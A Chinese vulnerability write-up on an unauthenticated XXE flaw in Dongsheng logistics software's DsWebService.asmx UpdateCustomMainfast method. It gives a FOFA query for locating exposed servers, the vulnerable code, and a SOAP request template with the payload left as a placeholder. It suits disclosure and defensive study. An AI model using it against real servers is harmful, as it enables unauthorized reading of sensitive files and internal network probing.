漏洞简介
东胜物流软件是青岛东胜伟业软件有限公司一款集订单管理、仓库管理、运输管理等多种功能于一体的物流管理软件。东胜物流软件 DsWebService.asmx 接口UpdateCustomMainfast方法存在 XML 外部实体注入(XXE)漏洞。未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息,进一步利用可导致服务器失陷。
影响版本
fofa语法
body="FeeCodes/CompanysAdapter.aspx" || body="dhtmlxcombo_whp.js" || body="dongshengsoft" || body="theme/dhtmlxcombo.css"
漏洞分析
直接看 UpdateCustomMainfast 相关实现逻辑
public string UpdateCustomMainfast(
string Xdoc,
string XdocAfter,
string Corpid,
string SenderOp,
string SenderHandphone,
string SenderEmail,
string SenderFax,
string Mblno)
{
try
{
bool AfterDoc = false;
string filename = Mblno;
string str1 = filename + "_";
string str2 = $"d:\\Manifest\\Sendmain\\{filename}.xml";
string str3 = $"d:\\Manifest\\Sendmain\\{filename}.zip";
string str4 = $"d:\\Manifest\\Sendafter\\{str1}.xml";
string str5 = $"d:\\Manifest\\Sendafter\\{str1}.zip";
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(Xdoc);
参数xdoc的内容被直接使用XmlDocument进行加载处理,无任何过滤或校验,从而导致XXE漏洞。
漏洞复现
POST /Webservice/DsWebService.asmx HTTP/1.1
Host: dongsheng.mrxn.net
Content-Type: application/soap+xml;charset=UTF-8;action="DsWebService/UpdateCustomMainfast"
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:dsw="DsWebService">
<soap:Header/>
<soap:Body>
<dsw:UpdateCustomMainfast>
<!--Optional:-->
<dsw:Xdoc>XXE_POC</dsw:Xdoc>
<!--Optional:-->
<dsw:XdocAfter>1</dsw:XdocAfter>
<!--Optional:-->
<dsw:Corpid>1</dsw:Corpid>
<!--Optional:-->
<dsw:SenderOp>1</dsw:SenderOp>
<!--Optional:-->
<dsw:SenderHandphone>1</dsw:SenderHandphone>
<!--Optional:-->
<dsw:SenderEmail>1</dsw:SenderEmail>
<!--Optional:-->
<dsw:SenderFax>1</dsw:SenderFax>
<!--Optional:-->
<dsw:Mblno>1</dsw:Mblno>
</dsw:UpdateCustomMainfast>
</soap:Body>
</soap:Envelope>

DNSLOG平台成功收到DNS请求和HTTP请求

